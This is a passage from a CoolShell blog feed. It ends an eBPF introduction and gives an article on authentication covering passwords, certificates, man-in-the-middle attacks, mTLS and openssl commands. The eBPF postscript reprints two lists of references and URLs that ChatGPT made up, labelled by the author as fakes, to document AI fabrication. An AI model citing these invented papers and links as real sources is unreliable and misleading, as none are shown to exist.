<li>bcc-tools：一个包含许多常用的 BCC 工具的软件包。</li>
<li>bpftrace：一个高级语言，用于编写和执行 BPF 程序。</li>
<li>tcptop：一个实时监控和分析 TCP 流量的工具。</li>
<li>execsnoop：一个用于监控进程执行情况的工具。</li>
<li>filetop：一个实时监控和分析文件系统流量的工具。</li>
<li>trace：一个用于跟踪和分析函数调用的工具。</li>
<li>funccount：一个用于统计函数调用次数的工具。</li>
<li>opensnoop：一个用于监控文件打开操作的工具。</li>
<li>pidstat：一个用于监控进程性能的工具。</li>
<li>profile：一个用于分析系统 CPU 使用情况的工具。</li>
</ol>
<p>下面这张图你可能见过多次了，你可以看看他可以干多少事，内核里发生什么事一览无余。</p>
<p><img decoding="async" src="https://github.com/iovisor/bcc/raw/master/images/bcc_tracing_tools_2019.png" /></p>
<h4>延伸阅读</h4>
<p>一些经典的文章和书籍关于 eBPF 包括：</p>
<ul>
<li>Brendan Gregg 的《<a href="https://book.douban.com/subject/34467459/" target="_blank" rel="noopener">BPF Performance Tools: Linux System and Application Observability</a>》一书是一个全面的指南，涵盖了 eBPF 的基础知识和实践应用。</li>
<li>eBPF 的官网：<a href="https://ebpf.io/" target="_blank" rel="noopener">https://ebpf.io/</a> 由 <a href="https://cilium.io/" rel="nofollow">Cilium</a> 建立</li>
<li><a href="http://docs.cilium.io/en/latest/bpf/" rel="nofollow">Cilium&#8217;s BPF and XDP Reference Guide</a></li>
<li><a href="https://www.kernel.org/doc/html/latest/bpf/index.html" rel="nofollow">BPF Documentation</a></li>
<li><a href="https://www.kernel.org/doc/html/latest/bpf/bpf_design_QA.html" rel="nofollow">BPF Design Q&amp;A</a></li>
<li>还有 Github 上的 <a href="https://github.com/zoidbergwill/awesome-ebpf" target="_blank" rel="noopener">Awesome eBPF</a></li>
</ul>
<h4>彩蛋</h4>
<p>最后来到彩蛋环节。因为最近 ChatGPT 很火，于是，我想通过 ChatGPT 来帮助我书写这篇文章，一开始我让ChatGPT 帮我列提纲，并根据提纲生成文章内容，并查找相关的资料，非常之顺利，包括生成的代码，我以为我们以很快地完成这篇文章。</p>
<p>但是，到了代码生成的时候，我发现，ChatGPT 生成的代码的思路和方法都是对的，但是是比较老的，而且是跑不起来的，<strong>出现了好些低级错误，如：使用了未声明的变量，没有引用完整的C语言的头文件，没有正确地初始化变量，错误地获取数据，类型没有匹配……等等</strong>，在程序调试上，挖了很多的坑，C语言本来就不好搞，挖的很多运行时的坑很难察觉，所以，耗费了我大量的时间来排除各种各样的问题，其中有环境上的问题，还有代码上的问题，这些问题即便是通过 Google 也不容易找到解决方案，我找到的解决方案都放在文章中了，尤其是第二个示例，让我调试了3个多小时，读了很多 bcc 上的issue和相关的晦涩的手册和文档，才让程序跑通。</p>
<p>到了文章收关的阶段，我让ChatGPT 给我几个延伸阅读，也是很好的，但是没有给出链接，于是我只得人肉 Google 了一下，然后让我吃惊的是，<strong>好多ChatGPT给出来的文章是根本不存在的，完全是它伪造的</strong>。我连让它干了两次都是这样，这个让我惊掉大牙。这让我开始怀疑它之前生成的内容，于是，我不得我返回仔细Review我的文章，尤其是“介绍”、“用途”和“工作原理”这三个章节，基本都是ChatGPT生成的，在Review完后，我发现了ChatGPT 给我生造了一个叫 “无损编译器”的术语，这个术语简直了，于是我开始重写我的文章。我把一些段落重写了，有一些没有，保留下来的我都标记上了 <code>[1]</code>，大家读的时候要小心阅读。</p>
<p>最后，<strong>我的结论是，ChatGPT只是一个不成熟的玩具，只能回答一些没有价值的日常聊天的问题，要说能取代Google，我觉得不可能，因为Google会基于基本的事实，而ChatGPT会基于内容生成的算法，在造假方面称得上是高手，可以列为电信诈骗的范畴了，我以后不会再使用ChatGPT生成文章内容或是作我的帮手了。StackOverflow把其ban了真是不能太赞了！</strong></p>
<p><strong>附件一：ChatGPT的造假载图和样本</strong></p>
<table width="100%">
<tbody>
<tr>
<td>
<p><figure id="attachment_22325" aria-describedby="caption-attachment-22325" style="width: 195px" class="wp-caption aligncenter"><a href="https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.1.png"><img decoding="async" loading="lazy" class="wp-image-22325 size-medium" src="https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.1-195x300.png" alt="" width="195" height="300" srcset="https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.1-195x300.png 195w, https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.1-665x1024.png 665w, https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.1-768x1183.png 768w, https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.1-997x1536.png 997w, https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.1-175x270.png 175w, https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.1.png 1096w" sizes="(max-width: 195px) 100vw, 195px" /></a><figcaption id="caption-attachment-22325" class="wp-caption-text">点击看大图</figcaption></figure></td>
<td>
<p><figure id="attachment_22326" aria-describedby="caption-attachment-22326" style="width: 286px" class="wp-caption aligncenter"><a href="https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.2.png"><img decoding="async" loading="lazy" class="wp-image-22326 size-medium" src="https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.2-286x300.png" alt="" width="286" height="300" srcset="https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.2-286x300.png 286w, https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.2-978x1024.png 978w, https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.2-768x804.png 768w, https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.2-258x270.png 258w, https://coolshell.cn/wp-content/uploads/2022/12/eBPF.ref_.2.png 1096w" sizes="(max-width: 286px) 100vw, 286px" /></a><figcaption id="caption-attachment-22326" class="wp-caption-text">点击看大图</figcaption></figure></td>
</tr>
</tbody>
</table>
<p><strong>ChatGPT 生成的样本一</strong></p>
<ul>
<li>Brendan Gregg 的《BPF Performance Tools: Linux System and Application Observability》一书是一个全面的指南，涵盖了 eBPF 的基础知识和实践应用。</li>
<li>Alexei Starovoitov 在 2015 年的 LPC 大会上发表的《eBPF and XDP: fast programmable datapath in the Linux kernel》一文，是一个介绍 eBPF 和 XDP（eXpress Data Path）的综述。</li>
<li>谷歌的《BPF: The Future of Linux Monitoring and Observability》一文介绍了 eBPF 的基本概念，并探讨了它对于 Linux 监控和可观察性的影响。</li>
<li>微软的《A Survey of Techniques for Hardware Acceleration of BPF》一文，介绍了 eBPF 在硬件加速方面的研究现状。</li>
<li>Daniel Borkmann 的《Linux kernel networking: implementation and theory》一书涵盖了 eBPF 的实现和理论。</li>
<li>Martin KaFai Lau 在 2015 年的 SOSP 大会上发表的《eBPF: a new execution environment for the Linux kernel》一文，介绍了 eBPF 在 Linux 内核中的新执行环境。</li>
<li>来自两名谷歌工程师的《eBPF: A New Frontier in Performance Analysis》一文，探讨了 eBPF 对性能分析的影响。</li>
<li>《BPF Performance Tools: Linux System and Application Observability》一书中的第三章，讨论了 eBPF 的编译器和运行时系统。</li>
<li>来自三名谷歌工程师的《eBPF: The New Solaris DTrace》一文，比较了 eBPF 和 Solaris DTrace 系统的区别。</li>
</ul>
<p><strong>ChatGPT 生成的样本二</strong></p>
<ol>
<li>eBPF 程序开发指南（<a href="https://cilium.io/doc/ebpf/ebpf-guide/" target="_new" rel="noopener">https://cilium.io/doc/ebpf/ebpf-guide/</a>）</li>
<li>eBPF 官方文档（<a href="https://www.kernel.org/doc/Documentation/networking/filter.txt" target="_new" rel="noopener">https://www.kernel.org/doc/Documentation/networking/filter.txt</a>）</li>
<li>Linux 内核 eBPF 介绍（<a href="https://www.ibm.com/developerworks/cn/linux/kernel/ebpf/index.html" target="_new" rel="noopener">https://www.ibm.com/developerworks/cn/linux/kernel/ebpf/index.html</a>）</li>
<li>eBPF 性能优化技巧（<a href="https://www.infoq.com/cn/news/2018/08/ebpf-performance-tips/" target="_new" rel="noopener">https://www.infoq.com/cn/news/2018/08/ebpf-performance-tips/</a>）</li>
<li>eBPF 实战经验分享（<a href="https://blog.cloudflare.com/ebpf-in-practice/" target="_new" rel="noopener">https://blog.cloudflare.com/ebpf-in-practice/</a>）</li>
<li>eBPF 在网络安全中的应用（<a href="https://www.zdnet.com/article/ebpf-how-to-use-it-for-network-security/" target="_new" rel="noopener">https://www.zdnet.com/article/ebpf-how-to-use-it-for-network-security/</a>）</li>
<li>eBPF 实现 Linux 系统性能监控（<a href="https://www.percona.com/blog/2017/08/15/how-to-use-ebpf-to-monitor-linux-system-performance/" target="_new" rel="noopener">https://www.percona.com/blog/2017/08/15/how-to-use-ebpf-to-monitor-linux-system-performance/</a>）</li>
<li>eBPF 入门教程（<a href="https://sysdig.com/blog/ebpf-getting-started/" target="_new" rel="noopener">https://sysdig.com/blog/ebpf-getting-started/</a>）</li>
<li>eBPF 与 BPF 比较（<a href="https://lwn.net/Articles/724647/" target="_new" rel="noopener">https://lwn.net/Articles/724647/</a>）</li>
<li>eBPF 提高课程（<a href="https://www.pluralsight.com/courses/ebpf-advanced" target="_new" rel="noopener">https://www.pluralsight.com/courses/ebpf-advanced</a>）</li>
</ol>
<p><strong>附件二：发明的术语：无损编译器</strong></p>
<table width="100%">
<tbody>
<tr>
<td>
<p><figure id="attachment_22328" aria-describedby="caption-attachment-22328" style="width: 180px" class="wp-caption aligncenter"><a href="https://coolshell.cn/wp-content/uploads/2022/12/fake.png"><img decoding="async" loading="lazy" class="wp-image-22328 size-medium" src="https://coolshell.cn/wp-content/uploads/2022/12/fake-180x300.png" alt="" width="180" height="300" srcset="https://coolshell.cn/wp-content/uploads/2022/12/fake-180x300.png 180w, https://coolshell.cn/wp-content/uploads/2022/12/fake-616x1024.png 616w, https://coolshell.cn/wp-content/uploads/2022/12/fake-768x1277.png 768w, https://coolshell.cn/wp-content/uploads/2022/12/fake-924x1536.png 924w, https://coolshell.cn/wp-content/uploads/2022/12/fake-162x270.png 162w, https://coolshell.cn/wp-content/uploads/2022/12/fake.png 1080w" sizes="(max-width: 180px) 100vw, 180px" /></a><figcaption id="caption-attachment-22328" class="wp-caption-text">点击看大图</figcaption></figure></td>
<td>
<p><figure id="attachment_22335" aria-describedby="caption-attachment-22335" style="width: 223px" class="wp-caption aligncenter"><a href="https://coolshell.cn/wp-content/uploads/2022/12/fake.term_.png"><img decoding="async" loading="lazy" class="wp-image-22335 size-medium" src="https://coolshell.cn/wp-content/uploads/2022/12/fake.term_-223x300.png" alt="" width="223" height="300" srcset="https://coolshell.cn/wp-content/uploads/2022/12/fake.term_-223x300.png 223w, https://coolshell.cn/wp-content/uploads/2022/12/fake.term_-761x1024.png 761w, https://coolshell.cn/wp-content/uploads/2022/12/fake.term_-768x1033.png 768w, https://coolshell.cn/wp-content/uploads/2022/12/fake.term_-1142x1536.png 1142w, https://coolshell.cn/wp-content/uploads/2022/12/fake.term_-201x270.png 201w, https://coolshell.cn/wp-content/uploads/2022/12/fake.term_.png 1176w" sizes="(max-width: 223px) 100vw, 223px" /></a><figcaption id="caption-attachment-22335" class="wp-caption-text">点击看大图</figcaption></figure></td>
</tr>
</tbody>
</table>
<p>（全文完）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/1379.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg" alt="如何调试bash脚本" width="150" height="150" /></a><a href="https://coolshell.cn/articles/1379.html" class="wp_rp_title">如何调试bash脚本</a></li><li ><a href="https://coolshell.cn/articles/19219.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png" alt="打造高效的工作环境 &#8211; Shell 篇" width="150" height="150" /></a><a href="https://coolshell.cn/articles/19219.html" class="wp_rp_title">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href="https://coolshell.cn/articles/18654.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png" alt="记一次Kubernetes/Docker网络排障" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18654.html" class="wp_rp_title">记一次Kubernetes/Docker网络排障</a></li><li ><a href="https://coolshell.cn/articles/18360.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg" alt="程序员练级攻略（2018)  与我的专栏" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18360.html" class="wp_rp_title">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href="https://coolshell.cn/articles/17998.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg" alt="Linux PID 1 和 Systemd" width="150" height="150" /></a><a href="https://coolshell.cn/articles/17998.html" class="wp_rp_title">Linux PID 1 和 Systemd</a></li><li ><a href="https://coolshell.cn/articles/17416.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2016/07/cache-150x150.png" alt="缓存更新的套路" width="150" height="150" /></a><a href="https://coolshell.cn/articles/17416.html" class="wp_rp_title">缓存更新的套路</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/22320.html">eBPF 介绍</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/22320.html/feed</wfw:commentRss>
			<slash:comments>18</slash:comments>
		
		
			</item>
		<item>
		<title>网络数字身份认证术</title>
		<link>https://coolshell.cn/articles/21708.html</link>
					<comments>https://coolshell.cn/articles/21708.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Sun, 02 Jan 2022 08:38:13 +0000</pubDate>
				<category><![CDATA[程序设计]]></category>
		<category><![CDATA[网络安全]]></category>
		<category><![CDATA[mTLS]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[TLS]]></category>
		<category><![CDATA[安全]]></category>
		<guid isPermaLink="false">https://coolshell.cn/?p=21708</guid>

					<description><![CDATA[<p>这篇文章是《HTTP API 认证授权术》的姊妹篇，在那篇文章中，主要介绍了 HTTP API 认证和授权技术中用到的 HTTP Basic, Digest A...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/21708.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/21708.html">网络数字身份认证术</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><img decoding="async" loading="lazy" class="alignright size-medium wp-image-21716" src="https://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114-300x201.png" alt="" width="300" height="201" srcset="https://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114-300x201.png 300w, https://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114-768x514.png 768w, https://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114-404x270.png 404w, https://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114.png 800w" sizes="(max-width: 300px) 100vw, 300px" />这篇文章是《<a title="HTTP API 认证授权术" href="https://coolshell.cn/articles/19395.html" target="_blank" rel="noopener">HTTP API 认证授权术</a>》的姊妹篇，在那篇文章中，主要介绍了 HTTP API 认证和授权技术中用到的 HTTP Basic, Digest Access, HMAC, OAuth, JWT 等各种方式，主要是 API 上用到的一些技术，这篇文章主要想说的是另一个话题——身份认证。也就是说，怎么确认这个数据就是这个人发出来的？</p>
<h4>用户密码</h4>
<p>要解决这个问题，我们先来看一个最简单的解——使用密码，通常来说，在网络上要证明一个人的身份的话，都需要这个人的一些私密而唯一的东西。比如，像密码这样的东西，很多地方，只要你提供了你的用户名+密码，就可以确定这个人是你（注明：关于密码管理，强密码设定，密码泄漏，密码破解以及密码哄骗不在这篇文章的话题中），也就是说，这个密码是非常私密的事，我们可以假设，这个事全世界只能有当事人一个人知道，所以，当事人得供正确的密码，我们就可以认证这个人了。</p>
<p>为了加强密码的安全程度，一般会使用 2FA（Two-factor authentication）或 MFA（Multi-factor authentication），双因认证或多因认证，这需要用户提供一个唯一的可信设备，比如用户的手机，然后通过验证手机短信，或是像 <a href="https://en.wikipedia.org/wiki/Google_Authenticator" target="_blank" rel="noopener">Google Authenticator</a>  这样的动态口令来完成。这样的安全级别已经算是比较高了。如果能够再加上经常性的变更密码，那么安全级别就更好了。</p>
<p><span id="more-21708"></span></p>
<p>另外，一些公司还使用了生物密码来进行用户的身份验证，比如人脸识别。但是，我个人觉得人脸识别或是生物识别是比较糟糕的方式，因为：</p>
<ul>
<li>目前能被验证的生物信息（如人脸和指纹）太容易被别人获得和伪造了。</li>
<li>这样东西不能被变更和吊销，密码可以被吊销和重置，人脸则不能。</li>
</ul>
<h4>密钥对和证书</h4>
<p>密码可以解决身证认证的问题有很多问题，最重要的一个问题就是，你要把你的密码提供给对方，对方才能验证你的身份。你不可能把你的密码提供给全世界的人吧，这样的话，全世界的人都有你的密码了，那么任何人都能变成你了。所以，用户密码这个事只能存在于权威机构和普通用户之间，不能存在于普遍应用中。所以，这里需要使用更好的解决方案。</p>
<p>使用 ECC（<a title="Elliptic-Curve Cryptography" href="https://en.wikipedia.org/wiki/Elliptic-curve_cryptography" target="_blank" rel="noopener">Elliptic-Curve Cryptography</a>）椭圆曲线密码术，可以通过一个“密钥对”进行非对称加密。这种技术，在对信息进行加密和解密时，使用两个不同的密钥，其中一个用来做加密，另一个做解密。这样一来，我们就可以把其中一个密钥公布出去，称之为公钥，另一个密钥私密地保管好，称之为私钥。</p>
<p>比如，我用我的私钥加密信息，然后，我把这个私钥所配对的公钥发布给所有人，大家都用公钥解密信息，不用我的公钥你解密不了这个信息。这样一来，就可以保证这个信息是我发出来的，不但保证了信息安全，还完成了身份认证。</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-large wp-image-21710" src="https://coolshell.cn/wp-content/uploads/2022/01/key.pair_-1024x390.png" alt="" width="640" height="244" srcset="https://coolshell.cn/wp-content/uploads/2022/01/key.pair_-1024x390.png 1024w, https://coolshell.cn/wp-content/uploads/2022/01/key.pair_-300x114.png 300w, https://coolshell.cn/wp-content/uploads/2022/01/key.pair_-768x293.png 768w, https://coolshell.cn/wp-content/uploads/2022/01/key.pair_-604x230.png 604w, https://coolshell.cn/wp-content/uploads/2022/01/key.pair_.png 1304w" sizes="(max-width: 640px) 100vw, 640px" /></p>
<p>这样的现实案例一般用于网站，也就是用户得要知道我访问的这个网站是真实的，不是别人做的。因为 DNS 很容易被 hack，你连上一个不可信的网络，这个网络里的 DNS 把这个网站的 IP 地址解析成什么 就是什么了。但是有了这个加密的机制后，网站把自己的信息加密后连同公钥给到访问者，访问解密后就知道是不是这个网站了。</p>
<p>但是，这里还是会有一个很严重的问题，那就是中间人攻击。如下图所示：</p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-21712 size-full" src="https://coolshell.cn/wp-content/uploads/2022/01/middle.man_-e1641105543137.png" alt="" width="600" height="252" /></p>
<p>中间人 Chad 把自己伪装成 Bob 向 Alice 要信息，然后，再伪装成 Alice 对 Bob 说，这就是 Alice 的公钥，于是 Bob 也无法验证是不是 Alice 的公钥，因为公钥里就是一堆乱七八糟的数据，我们完全不能分辨哪个公钥属于 Alice 的。试想，如果我们收到声称属于银行的密钥。我们怎么知道它确实属于你的银行？</p>
<p>这里的答案就是<strong>使用数字证书</strong>。证书跟我们的身份证非常类似，其需要一个可信机构来颁发和验证的。这个证书机构 CA（Certificate Authority）是一个是大家都相信的权威机构，他用他的人品保证（当然一般会被严格管理和审计），CA 机构同样使用这样的非对称加密的技术来完成颁发和验证的事。下图展示了这一过程。</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-large wp-image-21713" src="https://coolshell.cn/wp-content/uploads/2022/01/certificate-1024x532.png" alt="" width="640" height="333" srcset="https://coolshell.cn/wp-content/uploads/2022/01/certificate-1024x532.png 1024w, https://coolshell.cn/wp-content/uploads/2022/01/certificate-300x156.png 300w, https://coolshell.cn/wp-content/uploads/2022/01/certificate-768x399.png 768w, https://coolshell.cn/wp-content/uploads/2022/01/certificate-519x270.png 519w, https://coolshell.cn/wp-content/uploads/2022/01/certificate.png 1362w" sizes="(max-width: 640px) 100vw, 640px" /></p>
<p>说明一下上面这个图：</p>
<ol>
<li>为了解决公钥认证的问题的，我们需要一个权威的CA 机构。</li>
<li>Alice 把自己的信息（姓名、组织，地址，电邮，网址等）和自己的公钥打包成一个 CSR 的文件，发给 CA 机构，</li>
<li>CA 机构会来找 Alice 做物理世界的认证，如果通过后，就会用自己的机构私钥，把CSR 变成一个签名证书。</li>
<li>Bob 同学拿到 Alice 的证书，用 CA 机构的公钥解密后，得到 Alice 的公钥</li>
<li>后面就可以签证 信息是否来自 Alice 了。</li>
</ol>
<p>是的，这个过程就是在“套娃”，这种证书机构还可以给下级的证书机构发证，于是就会一层套一层地，形成一个证书链，顶层的叫根证书，你得绝对信任之。对于验证证书真实性的客户端，它需要能够验证链中所有 CA 的签名，这意味着客户端需要访问链中所有 CA 的证书。</p>
<h4>证书生成过程演示</h4>
<p>并不是所有的场景都需要向这些大型的 CA 机构申请公钥证书，在任何一个企业，组织或是团体内都可以自己形这样的“小王国”，也就是说，你可以自行生成这样的证书，只需要你自己保证自己的生成证书的私钥的安全，以及不需要扩散到整个互联网。下面，我们用 <code>openssl</code>命令来演示这个过程。</p>
<p>1）生成 CA 的证书（公钥） <code>ca.crt</code> 和私钥 <code>ca.key</code></p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">openssl req -newkey rsa:2048 \
    -new -nodes -x509 \
    -days 365 \
    -out ca.crt \
    -keyout ca.key \
    -subj "/C=SO/ST=Earth/L=Mountain/O=CoolShell/OU=HQ/CN=localhost"</pre>
<p>2)  生成 alice 的私钥</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">openssl genrsa -out alice.key 2048</pre>
<p>3）生成 Alice 的 CSR &#8211; Certificate Signing Request</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">openssl req -new -key alice.key 365 -out alice.csr \
    -subj "/C=CN/ST=Beijing/L=Haidian/O=CoolShell/OU=Test/CN=localhost.alice"</pre>
<p>4）使用 CA 给 Alice 签名证书</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">openssl x509  -req -in alice.csr \
    -extfile &lt;(printf "subjectAltName=DNS:localhost.alice") \ 
    -CA ca.crt -CAkey ca.key  \
    -days 365 -sha256 -CAcreateserial \
    -out alice.crt</pre>
<h4>双向认证 mTLS</h4>
<p>上面，我们说的基本上都是单向认证，大量的场景都是确保用户方访问的是真正的服务方，如：银行，电商网站，等。这样可以保证用户不会被钓鱼网站或是中间人攻击。但是，很多时候，我们也是需要双向认证的。下面是一个典型的场景——微信支付和商户间交互</p>
<ul>
<li>用户到商家那边买东西，商家要求用户进行支付。</li>
<li>用户选择了微信支付，于是，界面从商户侧切到了微信侧</li>
<li>微信那边支付完成后，商户这边收到微信那边支付完成的通知，于是开始发货。</li>
</ul>
<p>这个过程中有件事非常重要——就是微信通知商户支付完成的时候。</p>
<ul>
<li>微信得确保通知到的就是用户所支付商户，而不是别个。</li>
<li>商户也得要能确认，来通知我的就是微信，不是别人。</li>
</ul>
<p>一般来说，微信会给商户一个 AppID和一个 AppSerct，用这个来确保是我认证过的商户来调用我，然后，需要商户在自己的系统里填一个回调的 URL，并通过平台设置的 key来做 MD5/HMAC的签名来确保是官方的回调。这都是在《<a title="HTTP API 认证授权术" href="https://coolshell.cn/articles/19395.html" target="_blank" rel="noopener">HTTP API 认证授权术</a>》中提到过的技术，是相对传统的技术。</p>
<p>如今，<b>mTLS是</b>确保云原生应用程序中服务之间的通信安全的首选协议。 也就是双向认证。</p>
<p>传统的 TLS 认证过程是：</p>
<ol dir="auto">
<li>客户端连接到服务器</li>
<li>服务器提供其 TLS 证书</li>
<li>客户端验证服务器的证书</li>
<li>客户端和服务器通过加密的 TLS 连接交换信息</li>
</ol>
<p dir="auto">在 mTLS 中，客户端和服务器都有一个证书，双方都使用他们的公钥/私钥对进行身份验证。与常规 TLS 相比，mTLS 中有额外的步骤来验证双方（以<strong>粗体显示的</strong>额外步骤）：</p>
<ol dir="auto">
<li>客户端连接到服务器</li>
<li>服务器提供其 TLS 证书</li>
<li>客户端验证服务器的证书</li>
<li><strong>客户端出示其 TLS 证书</strong></li>
<li><strong>服务器验证客户端的证书</strong></li>
<li><strong>服务器授予访问权限</strong></li>
<li>客户端和服务器通过加密的 TLS 连接交换信息</li>
</ol>
<p>mTLS 需要“根”TLS 证书；这我们自己来完成证书颁发机构的职责。授权客户端和服务器使用的证书必须与此根证书相对应。根证书是自签名的，这意味着我们需要自己创建它。（注：此方法不适用于公共 Internet 上的单向 TLS，因为外部证书颁发机构必须颁发这些证书）</p>
<p>那么，为什么整个互联网上都用了 TLS 了，为什么 不升级一下使用 mTLS？这里有两方面的原因：</p>
<ul>
<li>公共互联网上要解决的问题是：A) 确保用户访问到的是正确的网站，而不是钓鱼网站。B）网站传输的内容是安全和私密且不会被篡改的。</li>
<li>将 TLS 证书分发到所有最终用户设备将非常困难。生成、管理和验证为此所需的数十亿个证书几乎是不可能的任务。</li>
</ul>
<p>在较小的范围内，mTLS 对于单个组织非常有用且非常实用，尤其是当这些组织采用零信任方法来确保网络安全时。由于默认情况下零信任方法不信任任何用户、设备或请求，因此组织必须能够在每次尝试访问网络中的任何点时对每个用户、设备和请求进行身份验证。mTLS 通过对用户进行身份验证和设备验证来帮助实现这一目标。</p>
<p>关于 mTLS，这里有一个我用 Golang 写的示例 &#8211; <a href="https://github.com/haoel/mTLS" target="_blank" rel="noopener">https://github.com/haoel/mTLS</a>，大家可以参考一下。</p>
<p>P.S. 本文图版中的卡司来自安全圈的标准 Cast，参看<a href="https://en.wikipedia.org/wiki/Alice_and_Bob" target="_blank" rel="noopener"> Alice and Bob</a>。</p>
<p>（全文完）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/19395.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png" alt="HTTP API 认证授权术" width="150" height="150" /></a><a href="https://coolshell.cn/articles/19395.html" class="wp_rp_title">HTTP API 认证授权术</a></li><li ><a href="https://coolshell.cn/articles/21003.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2020/06/time-bomb-150x150.png" alt="计时攻击 Timing Attacks" width="150" height="150" /></a><a href="https://coolshell.cn/articles/21003.html" class="wp_rp_title">计时攻击 Timing Attacks</a></li><li ><a href="https://coolshell.cn/articles/19840.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg" alt="HTTP的前世今生" width="150" height="150" /></a><a href="https://coolshell.cn/articles/19840.html" class="wp_rp_title">HTTP的前世今生</a></li><li ><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png" alt="如何免费的让网站启用HTTPS" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_title">如何免费的让网站启用HTTPS</a></li><li ><a href="https://coolshell.cn/articles/17607.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/01/MongoDB-150x150.jpg" alt="从 MongoDB “赎金事件” 看安全问题" width="150" height="150" /></a><a href="https://coolshell.cn/articles/17607.html" class="wp_rp_title">从 MongoDB “赎金事件” 看安全问题</a></li><li ><a href="https://coolshell.cn/articles/17066.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2015/04/phishing-1-150x150.jpg" alt="关于移动端的钓鱼式攻击" width="150" height="150" /></a><a href="https://coolshell.cn/articles/17066.html" class="wp_rp_title">关于移动端的钓鱼式攻击</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/21708.html">网络数字身份认证术</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/21708.html/feed</wfw:commentRss>
			<slash:comments>14</slash:comments>
		
		
			</item>
		<item>
